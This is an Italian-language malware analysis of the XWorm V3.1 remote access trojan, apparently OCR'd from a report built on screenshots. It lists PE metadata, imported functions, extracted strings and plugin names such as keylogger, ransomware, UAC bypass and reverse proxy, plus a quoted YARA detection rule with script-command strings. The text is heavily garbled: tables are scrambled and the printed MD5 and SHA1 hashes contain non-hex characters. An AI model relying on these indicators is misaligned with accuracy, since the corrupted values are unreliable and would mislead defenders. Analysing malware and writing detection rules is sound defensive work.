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Elementi importanti dell’analisi:

e Distribuzione del codice sorgente di malware XWorm e RATSs via forums Darknet
e Presenza di tasks di persistenza

e Moduli di data logging e data stealing

e Presenza di moduli ransomware interni a RAT threats

e Cryptowallets stealing

e Connessioni C&C

e Threats vendibili sul mercato nero e personalizzabili da qualunque threat actor
e Attributi dell'infection kill chain hardcoded nel codice sorgente

e Anti-Analysis, Anti-VM, Anti-Sandboxing ed evasion

e Remote access management con i protocolli RDP e VNC

e Mutexes harcoded nel codice sorgente

e UAC bypasses mediante il processo cmstp.exe

INEFOTUZIONE ...ttt bbb 3
ANALIST XWOTMN ¢ttt bbb bbb 3
[OCS XWOIM ettt sse st sttt satane 108
XWOIM FEJOIA YARA ...ttt sttt s st sen s ssnsee 108
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Introduzione

Nella presente analisi & stato preso in considerazione un malware sample XWorm ottenuto da
un forum Darknet che permette il download del codice sorgente e dei samples compilati solo
nel caso in cui vi & una reaction del post da parte di un utente.

XWorm e una tipologia di threat RAT (Remote Access Trojan) venduto nella Darknet in maniera
illecita e ha come obiettivo quello di sottrarre informazioni e dati sensibili agli utenti vittima,
tra cui dati di login, informazioni dei cryptowallets, accounts con anche capacita di keylogging.
[l threat ha iniziato a circolare in rete da Luglio 2022. All'interno del post del forum su Darkweb,
dal quale e stata scaricata, la minaccia viene distribuita mediante un pacchetto SFX
autoestraente.

Analisi XWorm

[l sample XWorm sottoposto ad analisi possiede come hash (I'artefatto estratto dall’archivio
SFX.exe) 37a9fdc56e605d2342da88a6e6182b4b.

el

x -

XWorm
V3. 1.shoexe

Matrice MITRE:
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Mitre Att&ck Matrix -
Initial Privl Def Credential Lateral c d  Network Remote
nitial Execution  Persistence L' c9° efense redential  piscovery atera Collection  Exfiltration ~ _omman etworl Service Impact
Access Escalaion  Evasion Access Movement and Control  Effects o
Valid 20 (1] (1] (1] 0S Credential BEE Remote 00 Exfiltration (1] Eavesdrop on  Remotely Modify
Accounts Windows Scheduled  Scheduled  Masquerading Dumping Security Services Archive OverOther  Encrypted  Insecure Track Device  System
Management  Task/Job TaskiJob Software Collected Network Channel Network Without Partition
Instrumentatio Discovery Data Medium Communicatio  Authorization
n n
Default (1] Boot or Logon Boot or Logon [} LSASS Remote Data from Exfiltration Junk Data Exploit SS7 to  Remotely Device
Accounts Scheduled  Initialization  Initialization ~ Disable or  Memory Virtualization/  Desklop Removable  Over Redirect Wipe Data  Lockout
Task/Job Scripts Scripts Modify Tools Sandbox Protocol Media Bluetooth Phone Without
Evasion Calls/'SMS ~ Authorization
Domain At(Linux)  LogonScript  Logon Script @@ Security SMB/Window Datafrom  Automated  Steganograph Exploit SS7to Obtain Device Delete Device
Accounts (Windows) ~ (Windows)  Virtualization/  Account Application s Admin Network Exfilration y Track Device  Cloud Data
Sandbox Manager Window Shares Shared Drive Location Backups
Evasion Discovery
Local At (Windows) Logon Script  Logon Script () NTDS 20 Distributed  Input Capture  Scheduled  Protocol SIM Card Carrier Billing
Accounts (Mac) (Mac) Deobfuscate System Component Transfer Impersonation  Swap Fraud
Decode Files Information  Object Model
or Information Discovery
Cloud Cron Network Network (1]2] LSASecrets  Remote SSH Keylogging ~ Data Transfer Fallback Manipulate Manipulate
Accounts Logon Script  Logon Script  Obfuscated System Size Limits  Channels Device App Store
Files or Discovery Communicatio Rankings or
Information n Ratings

[l sample e stato compilato con Visual C/C++ 2013-2017

DE| Detect It Fasy v3.04 [Windows 10 Version 1809](x36_64) — ] X

File name

2015-08-14 12:15:49

n i Mode Architecture Type
Automatic 32-bit I GUI

* PE32
SFX: WinRAR(-)[-]
Compiler: EP:Microsoft Visual C/C++(2013-2017)[EXE32]
Compiler: Microsoft Visual C/C++(2015 update 2)[-]
Linker: Microsoft Linker(14.0, Visual Studio 2015 14.07)[GUI32]
Overlay: RAR archive(-)[-]
Archive: RAR{4)[solid, 73.45%, 64 files,4 dirs]
~ Overlay: Binary
Archive: RAR(d)[solid, 73.4%, 64 files, 4 dirs]
Data: RAR archive
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00000000 mment

File name: C:/Users/IEUser/Desktop/Worm e RAT/XWorm V3.1/XWorm V3.1/XWorm V3.l.sfx.exe

Size: 27184132 (25.92 MB)

MD5: d3s621c2d9c5530044bE5525T7c027867

SHREl: da®8f9fcB8175e4325724418k2821a79a2d5T70£347

Entropy: 7.99931 (packed)

Cperation system: Windows (XP)

Architecture: I3B6

HMode: 32-bit

Type: GUI

Endianess: LE

Entry point (Address): 004lcabs

Entry point (Offset): 0001bebs

Entry point (Relative address): 0001cabsS

Entry point (Bytes): eB899040000=980fcffff3b0db8914300£27502f2c3f2290£060000836104008bc183610800c7410460££4200
Entry point(Signature): e8.... L 3b0d........ £275..f2c3f2e%........ 8361....8bclB8361l....cT4l..........
Entry point (Signature) (Rel): e855555555558beca3ec. .8365....8365.. .81, ....... SESTBE. e aaeas

Symbols

HHH B H B R BB BB

I Hex 0001bebs 0001beb5
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ﬁ Stud_PE editing : "XWorm V3.1.sfx.exe” - [32bit app] — >
File Edit Tools Help

o huzershieuserdesklopiwworm e ratsswarmn_ w3 T sworm v 3 T vaworm w3, sfwexe

]1- Doz ] 0 Sections ] 2 Functions ] f: Resources ] 2 Sighature ] A F A | r

HEADERS (Coff+0Optional) DATA DIRECTORY

0001C2E5 | e
_ Import Table || 00037044 | 00000028 | 00037144
NOD1EEBS EntryPoint (raw)

00400000 ImageBase Export Table|| 00037070 | 00000034 | 00037170
000B1000  Size of Image
00001000 Sections Alignment
00000200 File Alignment

0ooe Mumber of sections

DataDir: |IMAGE_DIR_ENTRY_RESOURCE =]

GioHex| | ++ || 00052000 | 00004680 | DOD38CO0

G

0102  Characteristics[ Basic HEADERS tree view in hexeditor|| SAVE ta file |
Wizt Stud PE Forurn | Test'it ||Flva<:=>Flaw || File Enmparel | oK |
D& Memory map _ O %

Memory map
Offset Address Size
00000000 00400000  0D0OD0D400 PE Header
feffffee 00400400  D0D0DCO0 PE Header
C 0 oo 0 0C 00 Section(0)[' text']
0002e400  0042f000 00009200 Section(1)['.rdata']
feffffee 00438300  00DODBO0 Section(1)['.rdata']
00037e00 00439000  000DOCOO0
feffffee 0043900  O0DO1f400
00038300 00459000  0D0OO0O200
feffffee 00459200  00D0DeD0
00038c00 00452000 00004800

JETITE ANAC~0nn nAnnnnonn

Mode Endiani Architecture
32-bit LE 86

Address > 4 Symbols
U.. M.VW.}...u..
0O .E..GD.E..
.PWh#.8.0Q0.\
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& Stud_PE editing : "¥XWorm V3.1.sfeexe” - [32bit app] — >
File Edit Tocls Help

||::'xusershieuserhdesktup"awnrm & rathawarm_w3. 1 ewarm w3 ewarm w31, s exe

% Headers I ® Doz O Sectons | ™ Functions | Re Fesources | ¥ Signature I HFA I »

Wigit Stud PE Forum <- Mews Here | Test' it ||Fiva<=>Fiaw|| File D:umpare| | 0K |

Tra le funzioni importate dalla libreria KERNEL32.dIl vi sono dettagli di DeleteFileW,
CreateHardLinkW, GetShortPathNameW e GetLongPathNameW:

B8 PE - ] x

Hex Disasm Strings Memory map Entropy

In Hash 64 Hash 32

H.E': 000000463b37f228 aBsf5c03
Disasm

Hash ginalFirstThi neDateStan rwarderCha  Name FirstThunk Hasl

= O P N e e T
M 3

Ordinal

CreateFileW
DeleteFileW
reateHardLinkW
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Info
Hex
Disasm

=k ginalFirstThi neDateStan wwarderCha  Name

= O e e e e e T

Memory map
Entropy
Heuristic scan
IMAGE_DOS_HEADER
~ IMAGE_NT_HEADERS
IMAGE_FILE HEADER
* IMAGE_OPTIONAL_HEADER
IMAGE_DIRECTORY_ENTRIES
RICH Signature
Sections

Export Thunk | Ordinal | Hint
-_))331?3 0129 FindFirstFileW

o EmEs 038183 0145 FindNextFileW
Manifest
R 03819a 0234 GetVersionExW
b 3038123 01bf GetCurrentDirectoryW
) 381c2 0lfb  GetFullPathNameW
Delay import
Overlay 0381d6 015¢  FoldStringW
03814 0214 GetModuleFileNameW

J0381fa 0218 GetModuleHandleW
- —

000000463b37f228 a88f5c03

Tra le risorse incluse possiamo notare “GETPASSWORD1":

B Pe - X

Info
Hex
Disasm
Hach RT_BITMAP(2)
'::ntrmgs RT_ICOMN(3)
Signatures RT_ICON(3)
Memory map = N
Entropy RT_ICOM(3)
Heuristic scan RT_ICOM(3)
IMAGE_DOS_HEADER wac .
- IMAGE_NT_HEADERS ESENECGNOL
IMAGE_FILE_HEADER T € GETPASSWORD1"
~ IMAGE_OPTIONAL_HEADER FT_DIALOG(S) "LICENSEDLG"
IMAGE_DIRECTORY_ENTRIES RT_DIALOG(S) *RENAMEDLG"

RICH Signature

5 RT_DIALOG(5) "REPLACEFILEDLG"
RT_DIALOG(5) “STARTDLG" 0045c398  0003af98
RT_STRING(B) 7 0045d668  0003c268

Address Offset Size
0045b7ed  0003a3ed
00452580 00039180 0128
00453638  000392a8 0568
0045ac10 00039810 028
0045aef@  00039af8 08a8
0045cc88  0003b888 0286

5ca58  0O0D03b658
0045ch%8  0003b798
0045c928  0003b528
0045¢5f0  0003b1f0

o

et ve i

et ve ]

frefite)

Load config
Delay import
Overlay
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fﬁ Stud_PE editing : "XWorm V3.1.sfexe” - [32bit app] — >
File Edit Tools Help

cohuzershieuserdeskophmorm e rathawarmn_w 3 T hewaorm w3 1 awarmn w31 sfx exe

% Headers ] % Doz ] o Sectionz | ™ Functions ™ Resources l ¥ Signature ] AEA|»

A i ] 4 General info : GETRASSWORDT

""" " Raw: |0003BESE  Rwa: |EIEIEIEE.¢.58
----- LICEMSEDLG Size : | 000007 34
----- REMAMEDLG
----- REPLACEFILED
----- STARTDLG
= RT_STRING Resource Ok,
----- 7
. H
< >
izt Stud PE Forurn | Test'it ||Flva<=>Fan|| File Eu:umpare| | oK |

Qui un'evidenza delle sezioni del file, ove si evince il tipo di compilazione:

D8 PE - X

Info
Hex
Disasm Name  VirtualSize  irtualAddres zeOfRawDa nterToRawD terToReloca erTolinenun berOfReloc: erOfLinenu haracterist
’;;I‘ths 0 text 00D2dif e 0002¢000  0ODDD400 0000 60
Sevars rdata 0002000 0000300  0002e400  000DDDOD  0DOD0OO 0000 40000040
Memory map data 000Tf868 00030000  0ODDDCOO  00037¢00  ODODODOD  0DOOODDD 000D 0000040
E‘_‘L:Fg(mn gfids 0000000 00050000 00000200 00032200  0OODODOO  00C0ODOO 0000 40000040
e
IMAGE_DOS_HEADER st 00004680 00052000  0ODD400  00038c00  ODODODOD  0DOOODDO 00D 40000040
IMAGE_NT_HEADERS reloc 0000f8c  000SF00 00002000  0003d400  0OODODOO  00000DOO 0000 42000040
IMAGE_FILE_HEADER
~ IMAGE_OPTIONAL_HEADER

IMAGE_DIRECTORY_ENTRIES

RICH S\naturE

Export
Import
Resources
Manifest
Relecs
Debug
Load config
Delay import
Overlay

ec Bb 6 > 7d 08 85
L] 9 30 Bb 45 14 89 0 .E..GO.E..G4.G
68 [ &8 5c 02 > .PWh#.2.Q.\.
85 £6 e le Of b7
50
6 Se

> d0 8b f0 8d
8b 4d 08 8d 42

Tra le stringhe estraibili abbiamo contezza di funzioni di privileges gaining, creazione di
collegamenti simbolici mediante la funzione SeCreateSymbolicLinkPrivilege, funzioni di
cifratura di regioni di memoria (CryptProtectMemory).
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D Strings

B anst = [Jurre M unicode [ CStrings 5 2

Offset ~ Size
0002b0dc 00000005
0002367 00000005
0002c4d0 00000005
0002e6ab 0000002c
0002eB818 00000013
0002840 00000012
0002868 0000001d
0002e8cc 00000006
0002e8fc 00000006
0002944 00000006
0002e97c 0000000
0002e98c 0000000C
000290 0000000k
000293 00000012
0002ealc 00000014
0002ea24 00000019
0002ea58 0000001k
0002eb90 00000003
0002eb9c 00000008
0002ebb0
0002ebcd
0002ebeld
0002ebf8

String

=
-l
m

TOpRC

(osc

(O0sC

@Maximum allowed array size (%u) is exceeded
SeSecurityPrivilege
SeRestorePrivilege
SeCreateSymbolicLinkPrivilege
rtmp Yad

_rar_

s

*messages™™

*messages™™

Crypt32.dll
CryptProtectMemory
CryptUnprotectMemory
CryptProtectMemory failed
CryptUnprotectMemory failed
wlistpos

kernel32

SetDIIDirectoryW
SetDefaultDlDirectories
wversion.dll

DXGIDebua.dll

Cc C@PFPCIPCCPRFPCCDPCCCCECCECDEDRID

D Strings

B anst » [ utFs M unicode [ CStrings 5 =

Offset ~ Size
0002e868 0000001d
0002e8cc 0000000E
0002e8fc 00000006
0002944 00000006
0002e97c 0000000C
0002e98c 0000000
0002e9e0 00000000
0002e9f8 00000012
0002ealc 00000014
0002ea24 00000019
0002ea58 0000001 b
0002eb%0
0002ebdc
0002ebb0
0002ebcd
0002ebel
0002ebf8
0002ec14
0002ec2c
0002ecdd
0002ec5c
0002ec74
0002ecBc

String

=
-l
m

SeCreateSymbolicLinkPrivilege
rtmpad

_rar_

s

*messages™™
“messages™™

Crypt32.dll
CryptProtectMemory
CryptUnprotectMemory
CryptProtectMemory failed
CryptUnprotectMemory failed
xlistpos

kernel32

SetDIIDirectoryW
SetDefaultDlDirectories
version.dll

DXGIDebug.dll

sfc_os.dll

SSPICLLDLL

rsaenh.dll

UXTheme.dll

dwmapi.dil

CcCCcCccCcCccCcCcgCcPP>PCoCPCCDDDICOCCPRCCoCCTC

crvotbase.dll

La libreria netapi32.dll puo essere utilizzata per tasks di share enumeration e discovery
all'interno dell'infrastruttura compromessa.
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D Strings - O *

[ An =~ [ utrs [ uni M cstings 5 = rch

Offset o= String
0002ecTd 000D000a
0002eclc 0000000d
0002ecal 00000007
0002ech8 00000009
0002eccc 0000000kL
0002eced 000D000a
0002ecfc 000D000a
0002ed14 0000000kL
0002ed2c 00000009
0002ed40 0000000kL
0002ed58 00000000
0002ed70 00000007
0002ed80 0000000
0002ed9c 0000000kL
0002edbd 0000000kL
0002edcc 0000000c
0002eded 0000000kL
0002e=00 0000000kL
0002ee18 000D000a
0002ee30 0000000k
0002e=48 0000000
0002eebd 0000000kL
0002eeTc 0000000b

=
-l
m

dwmapi.dll
cryptbase.dll
Ipk.dll
uspl10.dll
clbeatq.dll
comres.dll
ws2_32.dll
wsZhelp.dil
psapi.dil
ieframe.dll
ntshrui.dll
atl.dll
setupapi.dil
apphelp.dil
userenv.dll
netapi32.dil
shdocvw.dll
crypt32.dll
msasn1.dll
cryptui.dil
wintrust.dll
shell32.dll

C CCCCCCCCCcCgCcCfcfcococococococococooccoc

secur32.dll

La libreria RpcRtRemote.dll pud essere utilizzata al fine di eseguire Remote Procedure Calls per
esecuzioni remote. Vi sono evidenze di costruzioni di strutture HTML come ad esempio il tag
head che specifica il content-type:
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D& Strings

Offset ~
0002f100
0002118
0002f134
0002f14c
0002f16c
0002f180
0002f198
0002f1b4
0002f1d0
00027268
0002f292
0002f2fa
0002f34c
0002f360
0002f48e
0002f4bd
0002f4d4
0002fdec
0002f500
0002f588
0002f5a8
0002f5d0
0002f5e0

D Strings

Offset ~
00027268
0002f292
0002f2fa
0002f34c
0002f360
0002f48e
0002f4bd
0002f4d4
0002fdec
0002f500
0002f588
0002f5a8
0002f5d0
0002f5e0
0002f5f8
00027668
00027604
0002f6b0
0002f6c8
0002f6e8
0002f6fc
0002710
0002f71c

B anst

Size
00000000
0000000C
00000000

0000000f

00000009
00000002
0000000C
00000000
00000040
00000013
00000030
00000022
00000011
0000000e
00000011
0000000e
00000000
00000006
00000042
0000000e
00000007
00000007
00000008

B anst

Size
00000013
00000030
00000022
00000011
0000000e
00000011
0000000e
00000000
00000006
00000042
0000000e
00000007
00000007
00000008
00000036
00000006
0000000C
0000000E
0000000e
00000009
00000008
00000005
0000000C
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C C C CC C CC CPkDPCCCCCCCCCCCC

=
-l
m

C CC CC C C CCCCcCCCCcCCcCCCCckCCoC

+ [urre M unicode [ CStrings 5 %

String
AmlLite.dll
linkinfo.dll
cryptsp.dll
RpcRtRemote.dll
aclui.dll
dsrole.dll
peerdist.dll
uxtheme.dll
Please remove %s from %s folder. It is unsecure to run %s until it is done.
CreateThread failed
WaitForMultipleObjects error %d, GetlLastError %ad
Thread pool initialization failed.
Unknown exception
bad allocation
ARarHtmlClassName
Shell.Explorer
about:blank
<html=>
<head><meta http-equiv="content-type" content="text/html; charset=
utf-8"></head>
</html>
<style>
</stvle=

= [ urrs M unicode [l C5trings 5 2

String
CreateThread failed
WaitForMultipleObjects error %d, GetLastError %d
Thread pool initialization failed.
Unknown exception
bad allocation
ARarHtmIClassName
Shell.Explorer
about:blank
<html>
<head> <meta http-equiv="content-type" content="text/html; charset=
utf-8"> </head>
</html>
<style>
</style>
<style> body{font-family:"Arial";font-size:12; } < /style>
&inbsp;
riched20.dll
RarSFx
REPLACEFILEDLG
RENAMEDLG
Yas Fos Jos
Yas Yas
GETPASSWORD1
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Qui un’evidenza del mapping temporaneo dell'archivio SFX e comandi d'estrazione eseguiti
facenti riferimento a regole YARA relative a Backdoors:

D Strings - O *

M anst > durs Hu
~ String
0002710 00000005 %o5 a5
000271 0000000 GETPASSWORD1
0002744 0000DD0a ASKNEXTVOL
f75¢c 18 winrarsftxmappingfile.tmp
0002790 00000007 sfxname
0002f7a0 00000021 Fedd-602d- 2:02d- %602d- %:02d-%:02d-%03d
0002f7ed 00000003 sfustime
0D02f73 00000003 STARTDLG
0002f80c 00000006 sfxernd
0002f81¢ 00000006 sfxpar
0002f82¢ 0000DD0a LICENSEDLG
0002848 0000001d __tmp_rar_sfx_access_check_%u
0002384 0000001d -el -52 "-d¥%s" "-pPs" "-sps"
000280 00000005 runas
0002f8dc 00000006 Delete
0002f3f3 00000005 Title
0002910 00000006 Silent
0002920 0000000 Overwrite
0002934 00000005 Setup
0002940 00000003 TempMade
0002954 00000007 License
0002964 00000003 Presetup
0002978 00000003 Shortcut

339 rule MAL_BurningUmbrella_Sample_21 {

348 meta:

341 description = "Detects malware sample from Burning Umbrella report”

342 license = "Detection Rule License 1.1 https://github.com/Neo23x@/signature-base/blob/master/LICENSE"
343 author = "Florian Roth (Nextron Systems)”

344 reference = "https://4@1ltrg.pu/burning-umbrella/"

345 date = "2018-85-04"

346 hashl = "4b7b9c2a9d5688@cccde9934121fd14b3d4eB0f508889bF9758F1d672c8724438"
347 strings:

348 $51 = "c:\\windows\\ime\\setup.exe” fullword ascii

349 $s52 = "ws.run \"later.bat /start\",@Cet " fullword ascii

350 $s3 = "del later.bat" fullword ascii

351 $s4 = "mycrs.xls" fullword ascii

352

353 $al = "-gl -82 \"-d%s\" \"-p%s\" \"-spHs\"" fullword ascii

354 $a2 = "<set ws=wscript.createobject(\"wscript.shell\")" fullword ascii
355 condition:

356 uintl6(@) == 8x5add and filesize < 588KB and 2 of them

357 K
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Tra le folders di storage vi € quella di root della chiave di registro di OS Autostart items
Software\Microsoft\Windows\CurrentVersion:

D& Strings - O *

Filter

B Anst = [ utrs M unicode M C Strings

Offset ~ Size
0002964 00000008
00027978 00000003
0002f98c 00000003
0002f9al 0000D00E
0002f9b0 00000009
0002f9cd 00000009
00 d8 00K 20
0002fa2c 00D00DD0F
0002fa54 00000006
0002faTc 00000007
0002fad8 00000013
0002fac 00000006
0002fad0 0000000
0002faed 00000000
0002fafd 0000000
0002fb00 00000009
0002fb10 0000000
0002fb20 0000000
0002fb30 00000000
0002fb50 00000009
0002fc3c 0000000
0002fc58 00000017
0002fc70 00000017

String

=
-l
m

Presetup
Shortcut
SavePath
Update
SetupCode
965.%d.tmp

Software\Microsoft\Windows\ CurrentVersion
ProgramFilesDir

Fos76s%6d

Install

Software\WinRAR SFX

STATIC

COMCTL32.dIl

SHLWAPLdII

USER32.dll

GDI32.dll

COMDLG32.dll

ADVAPIZ2.dII

SHELL32.dll

ole32.dll

KERMEL32.DLL

AcquireSRWLockExclusive
ReleaseSRWLockExclusive

PP C P> PFPFPPPFPDPPCCCCCCCCCECCC

La funzione EventRegister puo essere utilizzata per scrivere eventi ETW.
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D Strings - O *

trings

Offset — L String
0002fda2 Badvapi32
0002fdb8 000000 <pi-ms-win-core-fibers-11-1-1
0002fdf4 0 <pi-ms-win-core-synch-11-2-0
fedd
0002fe48
0002fe60 0D000D0F
0002fe74 00000012
000290
0002fead
0002febd
0002fecd
0002fedc

=

EventRegister
EventSetinformation
EventUnregister
EventWriteTransfer
FlsAlloc

FlsFree

FlsGetValue

Fls5etValue

Initial riticalSectionEx
_ based(

_ cdecl

00000003
0000D00T
_ pascal
_ stdcall
_ thiscall
_ fasteall

009
0000000
0000000
0000000c _ vectorcall
_ clrcall
_ eabi
__ptrbd

restrict

b S R S

0000000a

A seguire funzioni di privileges gathering e privileges token setting, registry keys enumeration
e files browsing:
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D Strings

B anst + [urre M unicode [ CStrings 5 &

Offset ~ Size
00036dfc 00000010
00036e10 00000014
00036e28 00000010
00036e3c 00000015
0003654 00000010
0003668 00000015
00036e80 0000000k
00036e8e 00D00DD0F
00036eal 0000000d
00036eb0 00000010
00036ecd 0000000e
00036edb 0000000k
00036eed 00000014
00036efc 00000012
0003612 00000010
0003626 00D00DD0F
0003638 0000000
00036f4a
0003660 0000000
0003672
00036f8a
000369
00036fb0

String

g
b=l
m

GetSaveFileNameW
CommbDIgExtendedError
OpenProcessToken
AdjustTokenPrivileges
SetFileSecurityW
LockupPrivilegeValueW
RegClosekey
RegCreateKeyExW
RegOpenKeyExW
RegQueryValueExW
RegSetValueExW
SHGetMalloc
SHGetPathFromlDListW
SHBrowseForFolderW
SHFileOperationW
ShellExecuteExW
SHGetFilelnfoW
SHGetFolderLocation
SHChangeMotify
CreateStreamOnHGlobal
CoCreatelnstance
CLSIDFromString

Olelnitialize

P PFPFPFPFPFPPFPPFPFPPEPREDRFPDPEPPRE DR R

Tra le stringhe in questione possiamo trovare la richiesta di inserimento password per il file
criptato:

B8 Strings

B anst = [ urre M unicode [l CStrings 5

Offset ~ Size
0003b66e 0000000
0003b68e 0000000
0003b6c2 00000027
00036766 00000006
0003bTae 00000007
0003b7c0 0000000
0003b84a 0000000E
00036872 00000007
0003b8%e 00000017
0003b8d0 0000000e
00030922 0000003d
0003b9d2 0000000
0003bal2 00000060
0003bafe 00000006
0003c2c2 0000007 c
0003c3c0 00000045
0003c4al 0000000e
0003c4cl 000000a7
0003c6c8 0000002e
0003c7be 00000029
0003812 00000005
0003904 00000024
0003caee 00000009

String

=
-l
m

Enter password

M5 Shell Dig 2

&kEnter password for the encrypted file:

Cancel

License

M5 Shell Dig 2

Accept

Decline

Next volume is required

M5 Shell Dig 2

You need to have the following volume to continue extraction:

&Browse...

Insert a disk with this volume and press "OK" to try again or press "Cancel” to break ...
Cancel

Skipping %es0Unexpected end of archiveOThe file "%s" header is corruptOCorrupt ...
%The archive comment header is corruptOThe archive comment is corrupt

Cannot open %s

Cannot create %s0Cannot create folder %sHChecksum error in the encrypted file %...
File close error0The required volume is absent

Next volumeOThe archive header is corrupt

Close

modified onOfolder is not accessible

Al files

C CCCCcCCCgCcCgCcgocCccococococococaococococ
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D Strings - O *

Filter

B Anst

Offset ~ Size
005d6bc9 00000006
00549825 00000005 J
005043 0000000 "2"mm98L5s
005e0f64 00000007 AKInOGK
005e6e50 00000009 TPIhMEB}
005ealcf 00000007
005ec3db 00000005 eNI%@
005ef91b 00000005 uld)O
005f1509 00000006 9ToOoM
005f3f39 00000005 FoAIMMN
005fa000 00000005
006086c5 00000006
0060a8f3 15 A b [PHHWIWUODCIUYTOX
0060cf46 0000000
0060dd17 0000000 Xnl+('n,sn88s0
0060f08e 00000006 JINHMX
0060ff29 00000007 VT7:"CBe
0061006 00000006 RFEFPC
0061a4f6 00000005 (o7o°
0061cf38 00000006 #t0A0
00620fae 00000006 42xdp)
00621062 00000006 Suussv
006238d5 00000006 T::b8

Qui evidenze associate ai plugins DLL droppati per la infection killchain, ad esempio
Informations.dll (information gathering), Keylogger.dll (keylogging), Maps.dll (victim
geolocalization) e Microphone.dll (microphone logging) e Ransomware.dll (file encryption).
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D Strings

B anst = [Jurre M unicode [ CStrings 5 2

Offset o= Size Type String
00e7c3ed 00000005 A %L(ql
D0e84037 00000006 A OMH&:]
00e9629f 00000010 A Plugins\HVNC.dlI
00e9924d 00000005 A INOyo
00e9b7be 00000011 A lconExtractor.dll
00edch1b 00000007 A edNVO30
009627 00000018 A Plugins\Informations.dll
00e9d32b 00000006 A OO+1v
00e9deed 00000008 A OedNVO30
00eSdef3 00000015 A Plugins\Keylogger.dll
00e5f05e 00000010 A Plugins\Maps.dll
00e9fd89 00000007 A edNVO30
00e9fd95 00000016 A Plugins\Microphone.dll
00ea80cd 00000006 A K'U O(
00ea84Te 00000005 A _BJC
00eb2bce 00000005 A @CETO
00eb347e 00000005 A 20V
00eb48db 00000005 A BIO/*
0Deb5359 00000006 A *QO;
00ebbdas 00000005 A L>7b
ODebbcee 00000005 A P?th
DDec3622 00000006 A [MA O
00ecd88e 00000005 A GE@F/

D Strings

B anst ~ [ utrs M unicode [ CStrings 5 %

Offset o= Size Type String
01524602 00000006 A DvOZD@
01528709 00000005 A O>WTX
0152ab76  0D0DDDDS A aeXe]
015b00d1 00000006 A OyhOP5
015b2049 00000013 A Plugins\Options.dll
01562373 00000006 A Q Qi<
015b26a3 00000007 A LH)U, 08¢
015b33bc 00000006 A nOhOky
015b4388 00000013 A Plugins\Pastime.dll
015b5a44 00000009 A efedNVO30
015b5a52 00000017 A Plugins\Performance.dll
015b67ad 00000008 A OedNVO30
015b67ba 00000012 A Plugins\ProcessManager.dll
015b7bda 00000007 A edNVO30
015b7b56 00000014 A Plugins\Programs.dll
01568457 00000009 A O0edNVO30
015b8465 00000016 A Plugins\Ransomware.dll
015b9ca2 00000008 A jedNVO30
015b9caf 00000014 A Plugins\Recovery.dll
015bdf24 00000005 A JwOy
015c6a76 00000005 A &ul*%c
015¢b21d 00000005 A 19+
015d0983 00000005 A BOOD>
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D Strings

B anst = [Jurre M unicode [l CStrings 5 2

Offset o= Size Type String
01606861 00000006 A  @e}SqD
[GED] 00000005 A K5=08
D160a8bb 00000006 A a\OO.
0160f5aa 00000005 A O)HT+
0161b6cf 00000005 A OUG
0161e482 00000006 A uuTO%.
0161edd6 00000012 A Plugins\Regedit.dll
0161fale 00000008 A ledNVO30
LEN 00000019 A Plugins\RemoteDesktop.dll
01620chf 00000007 A edNVO3O
01620cch 00000018 A Plugins\ReverseProxy.dll
01621bTe 00000011 A Plugins\RunPE.dll
0162265¢ 00000007 A edNVO30
0162266a 00000012 A Plugins\5erviceManager.dll
01623072 00000011 A Plugins\Shelldll
01623c8b 00000008 A AedNVO30
01623c98 00000014 A SimpleObfuscator.dll
01628199 00000005 A OTP+
0162d7cb 00000005 A =zBiS
0164157 00000005 A |~ wH
016433d5 00000005 A 100/g
01647312 00000005 A O&?
0164788f 00000005 A \NiiS

D Strings

= [urre M unicode [l CStrings 5 %

Offset —
0168811e 00000007
0168812a
016883a5 00000005
0168a34c 00000005
016919eb 00000005
01692142 00000007
016969% 00000008
016969a7 00000012
01697784 00000008
01697791 00000015
0169734 00000005
016982a1 00000007
016982ad 0000001 b
01698de0 00000012
016af585 00000012
016b7687 00000006
016b83b1 00000009
016bd3d7 00000005
016bf48a 00000005
016c36b4 00000009
016c3f3d 00000005
016c50ce 00000005
016cd614 00000009

String

=
-l
m

edNVO30
Plugins\StartupManager.dll
PCMEB_

32Vi9

TypXA

00.55~)

_edNVO30
Plugins\TCPConnections.dll
oedNVO30
Plugins\UACBypass.dll
VUW-~

edNVO30

Plugins\VB.NET Compiler.dll
Plugins\WebCam.dll
Plugins\WS5ound.dll
ynyOOF

9luSob](%

r@sA-

bO0:0

10&0nsma

X AQO

20N(s

13KcSciaW

bl S B T T S B R

Qui un riferimento al file di configurazione per I'esecuzione XWorm V3.1.exe.config:
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D& Strings - O *

Filter

B Anst = [ urrs M unic

=
-l
m

0180249¢ 00000008
018079 00000006
01809d91 00000005
0180a820 00000006
0180f046 00000005
0181213b 00000005
018185fe 00000006
0181eab1 00000007
0181eabd 00000015
0181eb2d 00000009
0187eedb 00000005
01822aca 00000005
0182412d 00000007
01827673 00000005
0183128F 00000005
0183df1a 00000006
01844618 00000006
0184ec5b 00000005
01850360 00000005
01850557 00000005
01856024 00000005
01861549 00000005
018649ef 00000005

l:SfAn&0
YFzYO
=0ruk

N

edNVO30

=

XWorm V3.1.exe.config
GeolP.dat
10NOp
T7~% +
OHQHFD
;2010
%050
"IMYz
PED<OC
mIrdP
JHERO
2smBP

) M
<£h8?

P T

zr'vld

Tra i files di risorse droppati dal threat XWorm vi e “learn all kind of hacking.url” che fa
riferimento al dominio blackhatrussia[.Jcom
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D Strings

B anst ~ [ utra M unicode [ CStrings 5 =

Offset o= Size String

0191 cabd 00000005 whlp

0191f2bf 00000012 lconshicon (8).ico
0192224 00000006 GO\~DO?
01924d60 00000012 lcons\icon (9).ico
01927402 00000006 D0@/@f
0192798 00000006 15/

0192a187 00000005 <T030

0192a191 0000001d learn all kind of hacking.url
0192a23d 0000000e Background.png
0192b3bf 00000005 SaT2(

0192baad 00000005 lcons
0192bad3 00000007 Plugins

0192e180 00000005 wwa]

0192e28c 00000007 \O/buG7
0193401 00000005 p_09N

01937093 00000005 “O1t

01937665 00000005 S700p

0193a219 00000005 T(da3

0193e505 00000005 sid=e

0193185 00000005 ImQY}

01941b67 00000006 H*-Jrm

019460d9 00000005 1%60%w

0194837 00000005 O40%]

learn all kind of hacking
MAudio.dll

ZH Dmmdcmn

Il sample risulta essere packed con un alto coefficiente d'entropia della sezione d'esecuzione
CPU .text:

Type Offset

Reload
PE32 00000000 000425e1

Total

7.99931 Save Save diagram

Regions
Offset Size Entropy Status
00000000 00000400 3.04810 not packed PE Header
00000400 0002000 6.71025 packed Section(0)[" text']
0002400 00009200 5.15290 not packed Section(1)[".rdata']
0003700 00OOOCDD 3.29594 not packed Section(2)[".data’]
00038200 00000200 212649 not packed Section(3)[".gfids']
00038<00 00004800 463819 not packed Section(d)["rsrc’]
